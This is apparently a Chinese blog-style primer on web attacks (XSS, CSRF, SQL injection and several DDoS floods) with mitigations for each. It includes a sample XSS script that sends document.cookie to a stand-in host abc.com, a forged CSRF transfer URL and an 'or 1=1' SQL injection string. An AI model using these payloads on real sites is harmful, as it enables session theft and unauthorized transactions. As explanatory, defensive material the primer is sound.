XSS
XSS,跨站脚本攻击(cross site scripting,百科上说它和那个样式的CSS引起歧义,所以叫XSS?)。将一段Html和JavaScript代码注入到用户浏览的网页上。
如何注入?譬如在某个评论里,发表一段如下代码:(可以尝试在csdn上试试),如果该网站通过cookie管理用户名密码,那访问含有该脚本的链接后,会携带cookie到abc.com中,攻击者即可获得cookie数据。
script>
location.href="//abc.com/?c="+document.cookie/script>
/script>
窃取cookie只是危害之一,攻击者也可伪造表单骗取用户填写比较隐私的信息从而达到窃取的目的。第三种,也是比较常见的,一般表现为刷广告,即在某个网站嵌入一段可以显示脚本或者文章的脚本代码。
防范的策略之一,利用浏览器的同源策略。不过浏览器这种东西本身就不是绝对可靠,且同源策略也不是没法破解。第二种策略则是设置cookie为HttpOnly,即防止恶意脚本获取cookie。第三种策略则是过滤特殊字符,这也是很多可以评论的网站常见的手段之一。
CSRF
跨站请求伪造(cross site request forgery),攻击者通过骗取用户访问一个曾经认证过的网站,然后执行一些非法操作,如转钱。譬如某个支付机构设计的一个低能的转账请求如下:
http;//abc.com?account=A&money=100
并且,用户曾对abc.com认证过,譬如记住账号密码,此时攻击者可以在它的网站伪造个链接或者放一张图片,其链接如下,由于攻击者曾认证过,该操作被视为合法,攻击者获得10元。
http;//abc.com?account=攻击者&money=100
咋一看CSRF和XSS很像,其实确实有点像,不过XSS利用的是用户对网站的信任,而CSRF利用的是服务对用户浏览器的信任。
CSRF的防范策略有三,一种是利用HTTP报文中的Referer字段,用于标识请求的来源地址,通过检查Referer字段,让只有合法的请求来源才能有执行的权限。第二种则是token,最简单的方式服务端随机出随机数,并要求每个请求都带上。第三种则是输入验证码,这种手段也比较常见了。
SQL注入
SQL注入也是比较烂大街的攻击手段了,利用的是SQL语句的执行漏洞。如下,当我account填入A or 1=1,pwd填入c or 1 =1,则变成条件永远成立了,从而可以执行某个用户的操作。
select * from user where account=A and pwd = B
select * from user where (account=A or 1 =1) and (pwd = B or 1 =1)
这种攻击也比较好处理,SQL语句预编译,正则过滤请求中的特殊字符,或者对一些特殊符号预先转换。
DDOS
分布式拒绝服务攻击(Distributed Denial of Service),能做这种攻击且成功的,一般攻击者花费的成本也会不少。它利用多台服务器在某个瞬间内发送大量请求至某个目标服务器中,从而耗费你的服务器资源,让你的服务瘫痪。
这种一般比较很难解决,如果是针对ip进访问限制,有时会误伤友军。最常见的攻击形式有如下几种。 SYN/ACK Flood 最经典最有效的利用 TCP 协议的 DDos 攻击手段,可通杀各种系统的网络服务:
1. SYN Flood(半连接攻击):我们的TCP连接虽然可靠,但也有不可靠之处。TCP请求中,我们发送syn帧之后,服务端发送ack+syn应答。如果客户端端方syn就立即掉线,服务端还是会傻傻的的等待一段时间即SYN TIMEOUT。SYN Flood说的就是攻击者利用上述的漏洞,用大量主机模拟这种情况,从而让目标服务器不能正常工作。
可以通过缩短 SYN Timeout 时间,降低服务器负荷;设置 SYN Cookie,记录请求连接的 IP地址,丢弃来自某个/些 IP 的重复 SYN 报文;
2. ACK Flood:ACK Flood说的就是TCP正常连接后,由于大量主机发送请求,服务端忙于接受报文,判断请求状态,向应从请求(发送rst应答或者ack应答),从而无法正常执行其他请求,最终让其他服务瘫痪。
没有针对性的防御方案,可以通过分析请求的报文,设定专门的应答策略。
3. TCP 全连接攻击,这种攻击方式也是成本也是比较高的,首先你的浏览器一般默认的TCP链接最大为8,再者你的服务器TCP连接数也会有一个限制,这意味你需要很多主机来模拟这种请求。对于攻击目标而言,目标服务器的 TCP 连接数也是有限的,一旦你的服务压不过攻击者,那你的网站则会非常缓慢甚至无法访问。
根据实际情况设置TCP 新建连接速率、异常报文数阈值,超过该阈值启动防御;针对源进行统计,如果某个源 IP 在指定的时间间隔内发起的 TCP 新建连接数超过了阈值,则将该源 IP 加入黑名单; 针对报文数进行检查,如果特定时间内通过的报文数小于阈值则判定为异常会话,如果指定时间内某个源 IP 异常会话超过了阈值,则该源 IP 加入黑名单。
4. CC(Challenge Collapsar)攻击又称HTTP Flood,这种请求也不是很好处理,应为它就像量比较大的正常请求,不过有迹可循的是,在某个时间段内,它集中于攻击网站里头需要较长计算时间的请求,使你的服务达到瓶颈。
网站页面静态化,针对开销较大的资源,针对某个ip限制访问问频率、避免数据库慢查询、选择适合的缓存、消息队列等。
5. ICMP(Internet Control Message Protocol),即 Internet 控制报文协议,在短时间内,攻击者向目的主机发送大量 Ping 包,消耗主机资源,主机资源耗尽后就会瘫痪或者无法提供其他服务。
通过禁用ICMP解决,有些网站你会发现虽然ping不通,但它正常服务是没有问题的
6. UDP Flood,UDP 是无连接状态的协议,攻击者发送大量伪造源IP地址的小 UDP 包,冲击 DNS 服务器(即 UDP DNS Query Flood)或 Radius 认证服务器、流媒体视频服务器等,将线路上的骨干设备例如防火墙打瘫,造成整个网段的瘫痪,是一个消耗双方资源的攻击。
判断包大小,如果是大包攻击,则使用防止 UDP 碎片方法:根据攻击包大小设定包碎片重组大小,通常不小于1500;在极端情况下,可以考虑丢弃所有 UDP 碎片。攻击端口为业务端口:根据该业务 UDP 最大包长设置 UDP 最大包大小以过滤异常流量;攻击端口为非业务端口则丢弃所有 UDP 包,可能会误伤正常业务;建立 UDP 连接规则,要求所有去往该端口的 UDP 包,必须首先与 TCP 端口建立 TCP 连接。